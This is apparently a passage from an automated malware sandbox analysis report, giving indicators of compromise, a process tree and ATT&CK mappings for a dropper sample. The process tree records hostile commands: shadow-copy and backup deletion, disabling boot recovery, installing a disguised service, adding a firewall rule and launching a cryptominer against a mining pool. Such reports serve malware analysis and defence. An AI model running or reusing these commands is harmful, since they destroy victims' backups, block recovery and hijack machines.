40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 91A6.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1792 b7e27567f201a840d0f9c12cf0a2d734.exe 1792 b7e27567f201a840d0f9c12cf0a2d734.exe 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1288 Process not Found -
Suspicious behavior: MapViewOfSection 19 IoCs
pid Process 1792 b7e27567f201a840d0f9c12cf0a2d734.exe 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1288 Process not Found Token: SeShutdownPrivilege 1288 Process not Found Token: SeShutdownPrivilege 1288 Process not Found Token: SeShutdownPrivilege 1288 Process not Found Token: SeShutdownPrivilege 1288 Process not Found Token: SeShutdownPrivilege 1288 Process not Found Token: SeDebugPrivilege 656 9D5C.exe Token: SeDebugPrivilege 1036 960A.exe Token: SeDebugPrivilege 1904 98AA.exe Token: SeDebugPrivilege 1904 98AA.exe Token: SeIncreaseQuotaPrivilege 2884 WMIC.exe Token: SeSecurityPrivilege 2884 WMIC.exe Token: SeTakeOwnershipPrivilege 2884 WMIC.exe Token: SeLoadDriverPrivilege 2884 WMIC.exe Token: SeSystemProfilePrivilege 2884 WMIC.exe Token: SeSystemtimePrivilege 2884 WMIC.exe Token: SeProfSingleProcessPrivilege 2884 WMIC.exe Token: SeIncBasePriorityPrivilege 2884 WMIC.exe Token: SeCreatePagefilePrivilege 2884 WMIC.exe Token: SeBackupPrivilege 2884 WMIC.exe Token: SeRestorePrivilege 2884 WMIC.exe Token: SeShutdownPrivilege 2884 WMIC.exe Token: SeDebugPrivilege 2884 WMIC.exe Token: SeSystemEnvironmentPrivilege 2884 WMIC.exe Token: SeRemoteShutdownPrivilege 2884 WMIC.exe Token: SeUndockPrivilege 2884 WMIC.exe Token: SeManageVolumePrivilege 2884 WMIC.exe Token: 33 2884 WMIC.exe Token: 34 2884 WMIC.exe Token: 35 2884 WMIC.exe Token: SeIncreaseQuotaPrivilege 2924 WMIC.exe Token: SeSecurityPrivilege 2924 WMIC.exe Token: SeTakeOwnershipPrivilege 2924 WMIC.exe Token: SeLoadDriverPrivilege 2924 WMIC.exe Token: SeSystemProfilePrivilege 2924 WMIC.exe Token: SeSystemtimePrivilege 2924 WMIC.exe Token: SeProfSingleProcessPrivilege 2924 WMIC.exe Token: SeIncBasePriorityPrivilege 2924 WMIC.exe Token: SeCreatePagefilePrivilege 2924 WMIC.exe Token: SeBackupPrivilege 2924 WMIC.exe Token: SeRestorePrivilege 2924 WMIC.exe Token: SeShutdownPrivilege 2924 WMIC.exe Token: SeDebugPrivilege 2924 WMIC.exe Token: SeSystemEnvironmentPrivilege 2924 WMIC.exe Token: SeRemoteShutdownPrivilege 2924 WMIC.exe Token: SeUndockPrivilege 2924 WMIC.exe Token: SeManageVolumePrivilege 2924 WMIC.exe Token: 33 2924 WMIC.exe Token: 34 2924 WMIC.exe Token: 35 2924 WMIC.exe Token: SeBackupPrivilege 2968 vssvc.exe Token: SeRestorePrivilege 2968 vssvc.exe Token: SeAuditPrivilege 2968 vssvc.exe Token: SeIncreaseQuotaPrivilege 2884 WMIC.exe Token: SeSecurityPrivilege 2884 WMIC.exe Token: SeTakeOwnershipPrivilege 2884 WMIC.exe Token: SeLoadDriverPrivilege 2884 WMIC.exe Token: SeSystemProfilePrivilege 2884 WMIC.exe Token: SeSystemtimePrivilege 2884 WMIC.exe Token: SeProfSingleProcessPrivilege 2884 WMIC.exe Token: SeIncBasePriorityPrivilege 2884 WMIC.exe Token: SeCreatePagefilePrivilege 2884 WMIC.exe Token: SeBackupPrivilege 2884 WMIC.exe Token: SeRestorePrivilege 2884 WMIC.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found -
Suspicious use of SendNotifyMessage 4 IoCs
pid Process 1288 Process not Found 1288 Process not Found 1288 Process not Found 1288 Process not Found -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 672 8FE1.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 2008 wrote to memory of 1792 2008 b7e27567f201a840d0f9c12cf0a2d734.exe 28 PID 1288 wrote to memory of 672 1288 Process not Found 30 PID 1288 wrote to memory of 672 1288 Process not Found 30 PID 1288 wrote to memory of 672 1288 Process not Found 30 PID 1288 wrote to memory of 672 1288 Process not Found 30 PID 1288 wrote to memory of 1252 1288 Process not Found 31 PID 1288 wrote to memory of 1252 1288 Process not Found 31 PID 1288 wrote to memory of 1252 1288 Process not Found 31 PID 1288 wrote to memory of 1252 1288 Process not Found 31 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1036 1288 Process not Found 32 PID 1288 wrote to memory of 1904 1288 Process not Found 34 PID 1288 wrote to memory of 1904 1288 Process not Found 34 PID 1288 wrote to memory of 1904 1288 Process not Found 34 PID 1288 wrote to memory of 1904 1288 Process not Found 34 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 656 1288 Process not Found 35 PID 1288 wrote to memory of 1560 1288 Process not Found 37 PID 1288 wrote to memory of 1560 1288 Process not Found 37 PID 1288 wrote to memory of 1560 1288 Process not Found 37 PID 1288 wrote to memory of 1560 1288 Process not Found 37 PID 1288 wrote to memory of 1656 1288 Process not Found 39 PID 1288 wrote to memory of 1656 1288 Process not Found 39 PID 1288 wrote to memory of 1656 1288 Process not Found 39 PID 1560 wrote to memory of 1208 1560 9E86.exe 40 PID 1560 wrote to memory of 1208 1560 9E86.exe 40 PID 1560 wrote to memory of 1208 1560 9E86.exe 40 PID 1560 wrote to memory of 1208 1560 9E86.exe 40 PID 1288 wrote to memory of 892 1288 Process not Found 43 PID 1288 wrote to memory of 892 1288 Process not Found 43 PID 1288 wrote to memory of 892 1288 Process not Found 43 PID 1288 wrote to memory of 892 1288 Process not Found 43 PID 1560 wrote to memory of 340 1560 9E86.exe 45 PID 1560 wrote to memory of 340 1560 9E86.exe 45 PID 1560 wrote to memory of 340 1560 9E86.exe 45 PID 1560 wrote to memory of 340 1560 9E86.exe 45 PID 892 wrote to memory of 572 892 A710.exe 47 PID 892 wrote to memory of 572 892 A710.exe 47 PID 892 wrote to memory of 572 892 A710.exe 47 PID 892 wrote to memory of 572 892 A710.exe 47 PID 1288 wrote to memory of 1852 1288 Process not Found 48 PID 1288 wrote to memory of 1852 1288 Process not Found 48 PID 1288 wrote to memory of 1852 1288 Process not Found 48 PID 1288 wrote to memory of 1852 1288 Process not Found 48 PID 1288 wrote to memory of 1852 1288 Process not Found 48 PID 1560 wrote to memory of 324 1560 9E86.exe 49 PID 1560 wrote to memory of 324 1560 9E86.exe 49 PID 1560 wrote to memory of 324 1560 9E86.exe 49
Processes
-
C:\Users\Admin\AppData\Local\Temp\b7e27567f201a840d0f9c12cf0a2d734.exe"C:\Users\Admin\AppData\Local\Temp\b7e27567f201a840d0f9c12cf0a2d734.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2008 -
C:\Users\Admin\AppData\Local\Temp\b7e27567f201a840d0f9c12cf0a2d734.exe"C:\Users\Admin\AppData\Local\Temp\b7e27567f201a840d0f9c12cf0a2d734.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1792
-
-
C:\Users\Admin\AppData\Local\Temp\8FE1.exeC:\Users\Admin\AppData\Local\Temp\8FE1.exe1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:672
-
C:\Users\Admin\AppData\Local\Temp\91A6.exeC:\Users\Admin\AppData\Local\Temp\91A6.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:1252
-
C:\Users\Admin\AppData\Local\Temp\960A.exeC:\Users\Admin\AppData\Local\Temp\960A.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1036
-
C:\Users\Admin\AppData\Local\Temp\98AA.exeC:\Users\Admin\AppData\Local\Temp\98AA.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1904 -
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe" -start2⤵
- Executes dropped EXE
- Enumerates connected drives
- Modifies system certificate store
PID:1772 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete3⤵PID:2696
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2884
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵PID:2728
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet3⤵PID:2752
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no3⤵PID:2708
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet3⤵PID:2776
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:2896
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat3⤵PID:2804
-
C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2924
-
-
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet4⤵
- Interacts with shadow copies
PID:1504
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\explorer.exe" -agent 03⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:2832
-
-
-
C:\Windows\SysWOW64\notepad.exenotepad.exe2⤵PID:1600
-
-
C:\Users\Admin\AppData\Local\Temp\9D5C.exeC:\Users\Admin\AppData\Local\Temp\9D5C.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:656
-
C:\Users\Admin\AppData\Local\Temp\9E86.exeC:\Users\Admin\AppData\Local\Temp\9E86.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1560 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fttctgi\2⤵PID:1208
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ecrdxteu.exe" C:\Windows\SysWOW64\fttctgi\2⤵PID:340
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" create fttctgi binPath= "C:\Windows\SysWOW64\fttctgi\ecrdxteu.exe /d\"C:\Users\Admin\AppData\Local\Temp\9E86.exe\"" type= own start= auto DisplayName= "wifi support"2⤵PID:324
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" description fttctgi "wifi internet conection"2⤵PID:1404
-
-
C:\Windows\SysWOW64\sc.exe"C:\Windows\System32\sc.exe" start fttctgi2⤵PID:1896
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul2⤵PID:1492
-
-
C:\Users\Admin\AppData\Local\Temp\A451.exeC:\Users\Admin\AppData\Local\Temp\A451.exe1⤵
- Executes dropped EXE
PID:1656 -
C:\Users\Admin\AppData\Local\Temp\xImzabj022kKhKW.exe"C:\Users\Admin\AppData\Local\Temp\xImzabj022kKhKW.exe"2⤵
- Executes dropped EXE
PID:2164
-
-
C:\Users\Admin\AppData\Local\Temp\MunchingHallstand_2021-08-26_19-29.exe"C:\Users\Admin\AppData\Local\Temp\MunchingHallstand_2021-08-26_19-29.exe"2⤵
- Executes dropped EXE
PID:2152
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:892 -
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:572
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:532
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:2344
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:2544
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:2660
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵
- Executes dropped EXE
PID:1300
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵PID:2116
-
-
C:\Users\Admin\AppData\Local\Temp\A710.exeC:\Users\Admin\AppData\Local\Temp\A710.exe2⤵PID:2500
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1852
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1528
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:668
-
C:\Windows\SysWOW64\fttctgi\ecrdxteu.exeC:\Windows\SysWOW64\fttctgi\ecrdxteu.exe /d"C:\Users\Admin\AppData\Local\Temp\9E86.exe"1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1720 -
C:\Windows\SysWOW64\svchost.exesvchost.exe2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2184 -
C:\Windows\SysWOW64\svchost.exesvchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half3⤵PID:2208
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1744
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2200
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2328
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2476
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:2512
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:2568
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2968
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1New Service
1Registry Run Keys / Startup Folder
2Defense Evasion
Disabling Security Tools
1File Deletion
2Install Root Certificate
1Modify Registry
4Virtualization/Sandbox Evasion
1Web Service
1